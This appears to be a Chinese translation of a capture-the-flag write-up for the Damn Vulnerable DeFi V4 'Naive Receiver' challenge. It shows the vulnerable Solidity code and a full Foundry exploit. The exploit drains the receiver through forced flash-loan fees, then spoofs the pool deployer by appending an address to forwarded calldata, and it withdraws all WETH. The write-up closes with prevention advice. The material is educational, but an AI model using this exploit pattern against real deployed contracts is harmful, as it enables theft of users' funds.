Damn Vulnerable DeFi - #2. Naive Receiver 漏洞

本文分析了Damn Vulnerable DeFi V4挑战中的 Naive Receiver 漏洞。该挑战结合了闪电贷滥用和元交易转发器的安全问题。攻击者可以通过强制对 FlashLoanReceiver 进行闪电贷,支付手续费来耗尽其资金。然后,通过构造包含池部署者地址的元交易,冒充部署者提取池中的所有资金。

Damn Vulnerable DeFi V4 解决方案 — #2. Naive Receiver

本解释假设你事先了解此挑战中的智能合约,并将仅侧重于漏洞分析。

挑战概述

有一个池子,余额为 1000 WETH,提供闪电贷。它有 1 WETH 的固定费用。该池通过与一个无需许可的转发器合约集成来支持元交易。

一个用户部署了一个示例合约,余额为 10 WETH。看起来它可以执行 WETH 的闪电贷。

所有资金都有风险!从用户和池子中拯救所有 WETH,并将其存入指定的恢复帐户。

漏洞分析

NaiveReceiver 挑战提出了多个漏洞,这些漏洞结合了闪电贷滥用和元交易转发器安全问题。该系统允许任何人强制对接收者合约进行闪电贷,并且在元交易实现中缺乏适当的验证。核心漏洞在于两个未能验证交易发起者的关键函数:

function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
    external
    returns (bytes32)
{
    assembly {
        // gas savings
        // gas 优化
        if iszero(eq(sload(pool.slot), caller())) {
            mstore(0x00, 0x48f5c3ed)
            revert(0x1c, 0x04)
        }
    }
    // no check for who initiated the flash loan
    // 没有检查谁发起了闪电贷
    // although function receives the initiator address as the first parameter
    // 尽管函数接收发起者地址作为第一个参数
}
function _msgSender() internal view override returns (address) {
    if (msg.sender == trustedForwarder && msg.data.length >= 20) {
        return address(bytes20(msg.data[msg.data.length - 20:])); // returns the last 20 bytes of the calldata as an address
        // 将 calldata 的最后 20 个字节作为地址返回
    } else {
        return super._msgSender();
    }
}

此实现是易受攻击的,因为 FlashLoanReceiver 仅验证调用者是否为池子,但不检查谁发起了交易,并且元交易转发器允许任何人通过在 calldata 中附加地址来伪装其他地址。

攻击流程

  1. 调用 flashLoan() 10 次,强制对 FlashLoanReceiver 进行贷款,每次收费 1 WETH
  2. FlashLoanReceiver 支付费用,因为它只检查调用者是否为池子
  3. 通过强制闪电贷费用从 FlashLoanReceiver 中耗尽所有 10 WETH(现在有 1010 ETH 属于部署者)
  4. 通过 BasicForwarder 创建一个元交易,调用池子上的 withdraw()
  5. 将池子部署者的地址附加到 calldata(最后 20 个字节)
  6. _msgSender() 函数从附加的 calldata 返回部署者的地址
  7. 从属于部署者的池子的存款中提取所有 1010 WETH 并转移到恢复帐户

解决方案

  /**
     * CODE YOUR SOLUTION HERE
     * 在此编写你的解决方案
     */
    function test_naiveReceiver() public checkSolvedByPlayer {

        uint8 numberOfCalls = 11;

        // Create an array of encoded flashLoan calls
        // 创建一个编码的 flashLoan 调用的数组
        bytes[] memory encodedCalls = new bytes[](numberOfCalls);

        for(uint8 i = 0; i < 10; i++) {
            // Encode the call to flashLoan
            // 编码 flashLoan 调用
            encodedCalls[i] = abi.encodeWithSignature(
                "flashLoan(address,address,uint256,bytes)",
                address(receiver),
                address(weth),
                0,
                ""
            );
        }

        // Encode the call to withdraw
        // 编码 withdraw 调用
        encodedCalls[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_RECEIVER + WETH_IN_POOL, payable(recovery))),
            bytes32(uint256(uint160(deployer)))
        );

        // Encode the multicall data
        // 编码 multicall 数据
        bytes memory multicallData = abi.encodeCall(pool.multicall, encodedCalls);

        // Create the request
        // 创建请求
        BasicForwarder.Request memory request = BasicForwarder.Request({
            from: player,
            target: address(pool),
            value: 0,
            gas: gasleft(),
            nonce: forwarder.nonces(player),
            data: multicallData,
            deadline: 1 days
        });

        // Hash the request
        // 哈希请求
        bytes32 requestHash = keccak256(abi.encodePacked(
            "\x19\x01",
            forwarder.domainSeparator(),
            forwarder.getDataHash(request)
            )
        );

        // Sign the request
        // 签名请求
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, requestHash);
        bytes memory signature = abi.encodePacked(r, s, v);

        // Execute the transaction
        // 执行交易
        forwarder.execute(request, signature);
    }

预防机制

onFlashLoan 函数中,一个简单的 require(initiator == owner, "Unauthorized") 检查就足以防止合约被耗尽。

至于提款,如果 _msgSender() 验证了附加的地址实际上是原始请求的签名者,则可以防止该漏洞。

GitHub 存储库,包含解决方案:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/

查看我的 X 个人资料:https://x.com/_synthrax

  • 原文链接: coinsbench.com/damn-vuln...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
CoinsBench
CoinsBench
https://coinsbench.com/